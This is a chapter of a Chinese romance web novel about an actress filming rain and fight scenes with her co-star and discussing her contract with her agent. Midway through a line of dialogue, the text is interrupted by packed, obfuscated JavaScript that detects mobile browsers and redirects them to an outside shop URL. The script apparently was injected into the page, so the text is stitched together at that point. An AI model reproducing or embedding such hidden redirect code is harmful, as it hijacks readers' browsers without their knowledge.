韦琳的车最先到,随后陈生的SUV搭上美术指导、灯光指导几个人也很快离去,车子刚开走,喻氤就看到了街角朝她招手的秋秋。 她想到闻勉的手机和助理都不在,而且他也搭过自己,便好心多问一句:“闻老师,我的车到了,你怎么走?” 一旁的孟竖掏出一包烟,“我的车马上来了。” 言下之意,闻勉跟他一起走。 喻氤表示好的,目光转向闻勉,问出她想问一晚上的话:“闻老师,我可以存一个你的电话吧?” 孟竖顾着低头点烟,压根不在意两人说什么,闻勉似笑非笑地扫一眼她的手机:“还需要我报号码吗?” 喻氤松了口气,粲然一笑,和两人道了别,转身小跑几步进了秋秋的伞里。 上了车,起起伏伏一整晚的心总算静下来,喻氤猛地想起自己还没回秦昼消息,其实有点不太想回,但在这个圈子里鸡蛋不和石头碰,就算她再想躲避,也不能和如今的秦昼闹僵。 【嘉群哥说了你请他关照我的事,多谢你的好意。】 想了想,再加上一句。 【下次不必为我费心。】 秦昼那边没有回复,看看时间估计是在写歌,他一贯爱在深夜工作,说夜里才有灵感。 于是喻氤抛开了这件事,回到酒店洗了个滚烫的热水澡,出来后秋秋还在她房间。 周湘手上还有其他艺人要带,没能跟着进组,秋秋每三天和她线上报备一次喻氤的情况。 见到喻氤出来,秋秋调出那张四人合照,挤挤眼说:“嘿嘿嘿,照全家福啦?” 喻氤掐住她的小脸,一把抽回手机,“调侃老板?胆子肥了是吧?” “疼疼疼,我开个玩笑嘛。”说罢老老实实传达完周湘交代的事项,回自己房里去了。 她走后,喻氤有条不紊地吹头发,吹着吹着视线就落到手机上,她拿起来,人脸识别自动开锁,屏幕还停留在那张合照上。 她身高167,在女生中不算低,可是为什么站在闻勉身边显得这么矮?明明闻勉看着很清瘦呀。 她不禁去搜闻勉的资料,一看,187公分…… 差20公分…… 她扔开手机在床上躺倒,20公分有这么高吗? 酒店的黄色吊顶灯悬在天花板上,让人莫名想到那场吻戏的昏黄光线,想到闻勉紧紧托在她后腰的手臂,还有她被迫踮起的双脚和她颤抖的小腿,最后是那个炽热缠绵的吻。 喻氤想,20公分,是一个亲吻也得彼此靠近的距离啊。 17. P-9 淋雨 第二天晨起还在下雨,雨点砸在玻璃上噼里啪啦直作响,前一晚凌晨大群里发了改后的通告单,今天的任务主要是娄泽母亲去世后的几场戏,喻氤的场次不多,都排在后面。 喻氤收拾妥当,出门前再检查一遍通告单,注意到上午有场戏拍的是娄泽在雨里打架,看看窗外的雨势,想到闻勉的助理还在生病,做事未必周到,于是发了个消息给秋秋,让她多备一份感冒药和姜茶。 到的时候现场已经拍到打戏,场地是县城里唯一的一所中学,学生们都在放暑假,校园闲置,得知是顶顶有名的孟竖导演来拍电影,校长很痛快的将学校借了出来。 这场外景在学校后门的单车棚,剧组大部分人都聚在六七米外的教学楼下,只有摄制组的人披着雨衣站在雨里,再远些是雨里真枪实干的闻勉和群演。 喻氤走到监视器前,没打扰聚精会神的孟竖,站在他的椅子后面静静地观看闻勉的打戏。 闻勉银幕上的打戏不多,除了《湄公河哭声》里的小野,大部分动作片和犯罪片里都是担当高智商的的脑力角色,像这样拳拳到肉的搏斗戏屈指可数。 网上有人鸡蛋里挑骨头,评价他的打戏干净利落但缺乏力量感,是花拳绣腿,喻氤想这部戏上映之后应当就能堵住那些人的嘴,而他在各大平台上的演技锦集又将多出一段素材。 此时距离娄泽家中变故已有月余,本地的晚间新闻播报这场情杀案时隐去了一家人的具体姓名,但这样的小地方是没有秘密的,娄泽很快沦为校内校外的谈资,常围在他身边的女生们也开始疏远躲避。 最高兴的就属那群不学无术的混混了,他们早看不惯娄泽总是一副眼高于顶的模样,这下终于寻到理由找娄泽的茬。 剧本里娄泽没有打过架,这是第一次,当侮辱他母亲的话语从混混们口中吐出时,他第一次抡起了拳头,用暴力解决问题。 最初几乎是被压着围殴,车棚里的自行车轰然倒塌,娄泽被重重摔到围栏上,铁丝网的尖刺在他眼角划出深深的一条缝,血水从发间蜿蜒而下,迅速在半张面孔上蔓延开。 混混头儿啐了一口血,迎面踹向娄泽的腹部,“你妈就是个贱货,卖屁股被人玩死在床上的贱货!” 这句话激出了娄泽身体里的仇恨,他痛苦地从地上撑起半边身子,脱力使他必须依靠着铁丝网,白色的校服被染成一件血衣,但他仍然摇摇晃晃地站了起来。 有混混烦躁地骂:“操了,真够硬的。” 拳头再次袭来,娄泽不再防护,一口咬住来人的脖子,在对方吃痛嚎叫的瞬间挣脱束缚,抓着对方的头就朝向地上砸,三两下就砸得那人不省人事,血液在雨水中迅速晕开一大片鲜红。 混混们愣了,没想到他突然发狠,嘴里骂着脏话一窝蜂涌上来,而娄泽早已失去理智,毫无章法地挥着拳头,那股不要命的狠劲令人头皮发麻。 又有两个同伴晕了过去,娄泽还是没能倒下,剩下的人惴惴不安。 “郭哥,要不算了,再这样要出人命了。” “是啊,郭哥,他爸可是杀人犯啊!” “你等着,娄泽,这事我们没完!” 混混头捂着脑袋上的伤口,狠狠放话后带人离去。 娄泽卸掉力气躺在雨里,雨滴豆大,砸得他睁不开眼,黑睫被血沾得黏黏糊糊,分不清溢出的是雨水还是泪水。 镜头最终停在这个特写。 随着这一镜结束,有人忙不迭地冲进雨里给闻勉打伞递毛巾,闻勉一一接过,横穿雨帘回到屋檐下。 演混混头子的配角演员跟上来欠身:“闻哥,对不起,我们手太重了。” 闻勉好脾气地笑,“你们演的好,我也好早点收工。” 对方见他没有生气的意思,又说了几句才诚惶诚恐地退到一边休息。 喻氤在屋檐下等待,见他过来后递了瓶没开的矿泉水,“您的助理还在养病?” 闻勉接过来拧开瓶盖,“我可没有虐待人的习惯。” 喻氤不语,她记得拍《斩风破浪》时,大花许栩随时三个助理不离身,现在闻勉拍淋雨的打戏,身边连个替换的助理都没有,他自己不在意,看孟竖的样子也不准备给他再请一个。 怎么说呢,再一次让她意识到——顶尖的剧组,上到导演主演,下到工作人员,都是不一样的。 闻勉漱掉喉咙里的血包,视线扫过秋秋怀里抱着的两个保温杯,“带了什么好东西?” 喻氤扬笑,打开其中一个保温杯,“杯子是新的,里面装了热姜茶,虽然比不上你那些名贵茶叶,驱驱寒还是可以的,尝尝吗?” 闻勉低头笑了一声,接过姜茶闻了闻,“好冲。” “多放姜才有效果,您不会比我这个苏南人还要怕辣吧?” 闻勉眼尾轻扫,“激我呢?” 喻氤一口应下:“是啊!” 闻勉笑着摇摇头,有些迟疑,还是在她期待的目光中仰头喝了一口,顿时皱紧眉,被姜味冲得直眨眼。 喻氤唇角越翘越高,“其实你那杯多放了两块姜。” 闻勉等那股劲缓过去,点头,“猜到了。” 这几分钟简直是喻氤进组来最开心的时候的时候,笑够了,喻氤便不再耽误他的时间,放他去看回放。 他走后,喻氤让秋秋把剩下的姜茶给群演们分了,找了个椅子坐下开始复习今天的台词,词是早背好的,但昨晚改通告时编剧给她和闻勉加了一张飞页,不然原本这场戏没她的戏份。 过了五分钟,副导过来叫她去走戏,也就是李金银找到鼻青脸肿的娄泽,将他带回家的戏。 走了一遍位置,先拍远景。 打板前喻氤先进到雨里熟悉了一下淋雨的感觉,听到打板声后,按照调度冲进雨里,晃醒闻勉,然后架着他艰难地往校门口远去。 孟竖要求表现出娄泽的重伤,闻勉不得不把上半身的重量都压到喻氤身上,喻氤走的有些艰难,快走过教学楼时,闻勉突然低声问:“重吗?” 这是他第一次在拍戏过程中开小差,喻氤惊讶之余想到身后摄影机还在拍,不敢多说,只说“还好”。 闻勉嗯了一声,不再说话,喻氤却因此被分散了注意力,肩背与他相贴的皮肤正透过打湿的夏衣传递来热量,连同他近在脸颊的鼻息,不容忽视。 又走了几米,场记拿着喇叭喊:“两位老师,卡了!” 孟竖对这一镜不满意,让他们在雨里又走了好几遍,终于转到近景。 时间来到下午三点,雨势开始转小,闻勉在雨里淋了六个小时,这一场完整的外景全部拍完,准备换场地拍夜戏。 由于要重新梳化,喻氤回到车上换衣服,期间闻勉的化妆师过来借吹风筒,说是早上走的匆忙,工具没带够,想先借喻氤车上的去给闻勉用。 喻氤没怎么想就叫负责自己的化妆师去拿给对方。 这个时候现场已经收拾好,准备转场,孟竖的声音在车外响起,问这边还在磨蹭什么,大概是化妆组的负责人说了情况,只听他不冷不热地嘲了一句:“东西不够就一起用,难不成我还要等你们借来借去?” 他嗓门没遮掩,车里的人都听得一清二楚,两个化妆师谨慎地交换了眼神,其中一个提议:“要不问问闻老师,可不可以去他车上化?” 闻勉一向脾气好,对女性也绅士,剧组里的工作人员都不太怕他,很快拿了闻勉的首肯回来,喻氤只好再度造访闻勉的房车。 闻勉正在车上吃饭,黏稠甜腻的血浆含了快一整天,他到现在才吃上午饭。 喻氤叹了口气,“我又来打扰了,闻老师。” 闻勉笑了笑,让她随意坐,孟竖说的话他听化妆师说了,“我除了休息和化妆不常在车里,你方便的时候可以过来这边化妆,这样也节省我们对戏的时间。” 他简单冲洗过,干净的面容缺少血色,头发湿漉漉地背在头上,有种说不出的苍白又性感的味道。 “孟竖的话和你没什么关系,”闻勉点到即止,没有过多苛责化妆师,“不是你的问题,不必放在心上。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15049952|162582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 又对化妆师淡淡道:“我不着急吹头发,让喻老师先用。” 他的化妆师咬了咬牙,把借来的吹风筒塞给同事,埋着头两三步跑下了车。 闻勉没什么表情,“不必管她,让她长个教训也好。” 喻氤不是傻子,她知道自己这个女主演还没有在团队里立住,剧组的人表面看着对她尊重,实际上仅仅是基于对孟竖的信任和服从,和她喻氤这个人没什么关系,所以组里的化妆师才会想都不想就优先照顾闻勉。 这实在是太小太正常的一件事,小到喻氤自己都觉得没什么好计较的,更没期待过有人会为她出头。 可闻勉看见了,没有像其他人一样忽视过去。喻氤想,他真的是个很好的人,她也要尽她所能的演好这部戏,绝对不能拖他的后腿。 - 之后的一个月,喻氤的气质肉眼可见的沉郁下来,常常在片场坐着坐着就开始走神。 她能感觉到自己在入戏,李金银在慢慢进入她,经常聊天说到某件事,脑子里自动蹦出疑问——如果是李金银,她会如何回答。 与之相伴的,是越来越顺畅的演绎以及剧组众人逐渐改变的态度,不知什么时候起,他们路过她的时候动静会自觉放小,只因为她看起来在调整状态。 有一次演完,喻氤听到灯光组的一个小哥压抑地感慨:“这俩小孩儿太苦了吧!” 当时她就想,能调动从业人员的情绪,那应当是演到位了。 一切都在向好发展,但她对闻勉的依赖却在逐渐超出控制。片场内外她开始频频寻找他的身影,他不在,空气里都好像弥漫着令人心慌的不安。 幸而闻勉当真如他所说那般,除了休息和梳化很少呆在车上,即使没有戏的时候也会出现在片场,只要喻氤抬头,总能在视线里找到他的身影,就连秋秋都纳闷——铁人啊?都不用休息的吗? 这天喻氤收工早,睡觉前周湘发来消息说有事跟她商量,喻氤就给她拨了个视频通话。 一个多月没见,周湘依旧目光如炬,一开镜头就打量出不对,“你换个光线好的地方通话。” 喻氤不解其意,把酒店的大灯全都打开,周湘的脸色有些凝重,“孟竖不满意你的体重,要你再减10斤?” “没有,”喻氤摸摸自己的下巴,“最近没什么胃口,我看上去瘦了很多吗?” 周湘在电脑上点了几下,报出喻氤进组前的体重,“你原本的体重维持得刚好,进组前又为这个角色减重7斤,我认为已经足够了,如果不是孟竖有特别要求,我不建议你继续瘦下去,以这个形象亮相大银幕对你没什么好处。” 喻氤听话地点头。 “我会和剧组沟通,给你换食谱。” “好。”喻氤在这方面很听劝。 见她态度良好,周湘神情有所缓和,言归正传:“我要说的是公司这边的事,之前你和《铁锈》的合约是赵闵光帮忙托的底,让人瞒着上面走流程,但是前两天法务部巡查,《铁锈》的合约被调走了。” 赵闵光是周湘的爱人兼上司,主要管娱界的演艺经纪和商务两大块,两人从大学走进婚姻,感情一直很稳定,如果不是有他们从中帮衬,喻氤这一路会走得更坎坷,赵闵光有他的难处,喻氤理解,对夫妻俩也很感激。 她冷静道:“知道就知道吧,赵部长有没有被波及?” 周湘手里的笔一下一下点着桌面,发出清脆的声音,“他会推到孟竖头上去,孟竖既然说了只考虑你,哪里还有我们操作换人的空间?触了孟竖的霉头对整个影视事业部会造成什么样的重创,那几个走狗还不至于掂量不清,毕竟上头还有董事会那群监事盯着。” “但是戏拍完就不好说了,只要你还在娱界一天,捏死你就是一只手的事。” 喻氤抿紧下唇,她又何尝不知道呢。 周湘懒得兜圈子,“我直说了,你的经纪约还有不到一年的时间,趁你现在和闻勉一起拍戏,最好的选择就是请他帮忙——为你和他的老东家华盟影视牵线搭桥。”